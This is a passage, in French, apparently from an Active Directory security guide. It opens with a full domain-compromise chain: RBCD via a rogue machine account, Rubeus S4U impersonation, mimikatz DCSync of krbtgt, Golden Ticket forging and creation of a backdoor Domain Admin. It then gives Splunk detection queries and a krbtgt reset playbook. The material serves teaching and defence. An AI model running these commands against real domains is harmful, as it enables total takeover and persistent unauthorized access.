# Création d'un compte machine contrôlé
Import-Module Powermad
$password = ConvertTo-SecureString 'AttackerP@ss123!' -AsPlainText -Force
New-MachineAccount -MachineAccount EVILCOMPUTER -Password $password

# Configuration RBCD sur DC01
$ComputerSid = Get-DomainComputer EVILCOMPUTER -Properties objectsid | 
    Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer DC01 | Set-DomainObject -Set @{
    'msds-allowedtoactonbehalfofotheridentity'=$SDBytes
}

# Exploitation S4U pour obtenir ticket Administrator vers DC01
.\Rubeus.exe s4u /user:EVILCOMPUTER$ /rc4:computerhash \
    /impersonateuser:Administrator /msdsspn:cifs/dc01.corp.local /ptt

# Accès au DC comme Administrator
dir \\dc01.corp.local\C$

Phase 5 : Extraction krbtgt et Golden Ticket (J+0, H+10)

# DCSync depuis le DC compromis
mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt

# Hash krbtgt obtenu :
# NTLM: 8a3c5f6e9b2d1a4c7e8f9a0b1c2d3e4f
# AES256: 2f8a6c4e9b3d7a1c5e8f0a2b4c6d8e0f...

# Obtention du SID du domaine
whoami /user
# S-1-5-21-1234567890-1234567890-1234567890

# Création du Golden Ticket
kerberos::golden /user:Administrator /domain:corp.local \
    /sid:S-1-5-21-1234567890-1234567890-1234567890 \
    /aes256:2f8a6c4e9b3d7a1c5e8f0a2b4c6d8e0f... \
    /endin:5256000 /renewmax:5256000 /ptt

# Validation : accès total au domaine
net group "Domain Admins" /domain
psexec.exe \\dc01.corp.local cmd

# Établissement de persistance multiple
# 1. Création de compte backdoor
net user h4ck3r Sup3rS3cr3t! /add /domain
net group "Domain Admins" h4ck3r /add /domain

# 2. Modification de la GPO par défaut pour ajout de tâche planifiée
# 3. Création de SPN caché pour Kerberoasting personnel
# 4. Exportation de tous les hashes du domaine

8.2 Timeline et indicateurs de compromission

9. Architecture de détection et réponse

9.1 Stack de détection recommandée

Une détection efficace des attaques Kerberos nécessite une approche en profondeur combinant plusieurs technologies et méthodes.

# Détection AS-REP Roasting
index=windows sourcetype=WinEventLog:Security EventCode=4768 Pre_Authentication_Type=0
| stats count values(src_ip) as sources by user
| where count > 5
| table user, count, sources

# Détection Kerberoasting (multiples TGS-REQ avec RC4)
index=windows sourcetype=WinEventLog:Security EventCode=4769 Ticket_Encryption_Type=0x17
| stats dc(Service_Name) as unique_services count by src_ip user
| where unique_services > 10 OR count > 20

# Détection DCSync
index=windows sourcetype=WinEventLog:Security EventCode=4662 
    Properties="*1131f6aa-9c07-11d1-f79f-00c04fc2dcd2*" OR 
    Properties="*1131f6ad-9c07-11d1-f79f-00c04fc2dcd2*"
| where user!="*$" AND user!="NT AUTHORITY\\SYSTEM"
| table _time, user, dest, Object_Name

# Détection Golden Ticket (authent sans TGT)
index=windows sourcetype=WinEventLog:Security EventCode=4624 Logon_Type=3 Authentication_Package=Kerberos
| join type=left user _time [
    search index=windows sourcetype=WinEventLog:Security EventCode=4768
    | eval time_window=_time
    | eval user_tgt=user
]
| where isnull(user_tgt)
| stats count by user, src_ip, dest

9.2 Playbook de réponse aux incidents

# Script de réponse d'urgence - Reset krbtgt
# À exécuter depuis un DC avec DA privileges

# Phase 1 : Collecte d'informations
$domain = Get-ADDomain
$krbtgt = Get-ADUser krbtgt -Properties PasswordLastSet, msDS-KeyVersionNumber

Write-Host "[+] Domaine: $($domain.DNSRoot)"
Write-Host "[+] Dernier changement mot de passe krbtgt: $($krbtgt.PasswordLastSet)"
Write-Host "[+] Version clé actuelle: $($krbtgt.'msDS-KeyVersionNumber')"

# Phase 2 : Premier reset
Write-Host "[!] Premier reset du compte krbtgt..."
$newPassword = ConvertTo-SecureString -AsPlainText -Force -String (
    -join ((65..90) + (97..122) + (48..57) | Get-Random -Count 128 | % {[char]$_})
)
Set-ADAccountPassword -Identity krbtgt -NewPassword $newPassword -Reset

Write-Host "[+] Premier reset effectué. Attendre 24h avant le second reset."
Write-Host "[!] Vérifier la réplication AD avant de continuer."

# Vérification de la réplication
repadmin /showrepl

# Phase 3 : Après 24h - Second reset
Write-Host "[!] Second reset du compte krbtgt..."
$newPassword2 = ConvertTo-SecureString -AsPlainText -Force -String (
    -join ((65..90) + (97..122) + (48..57) | Get-Random -Count 128 | % {[char]$_})
)
Set-ADAccountPassword -Identity krbtgt -NewPassword $newPassword2 -Reset

Write-Host "[+] Reset krbtgt terminé. Tous les tickets Kerberos précédents sont invalidés."

# Phase 4 : Actions post-reset
Write-Host "[!] Actions recommandées:"
Write-Host "1. Forcer la reconnexion de tous les utilisateurs"
Write-Host "2. Redémarrer tous les services utilisant des comptes de service"
Write-Host "3. Vérifier les GPOs et objets AD suspects"
Write-Host "4. Auditer les comptes créés récemment"

# Audit rapide
Get-ADUser -Filter {Created -gt (Get-Date).AddDays(-7)} | 
    Select Name, Created, Enabled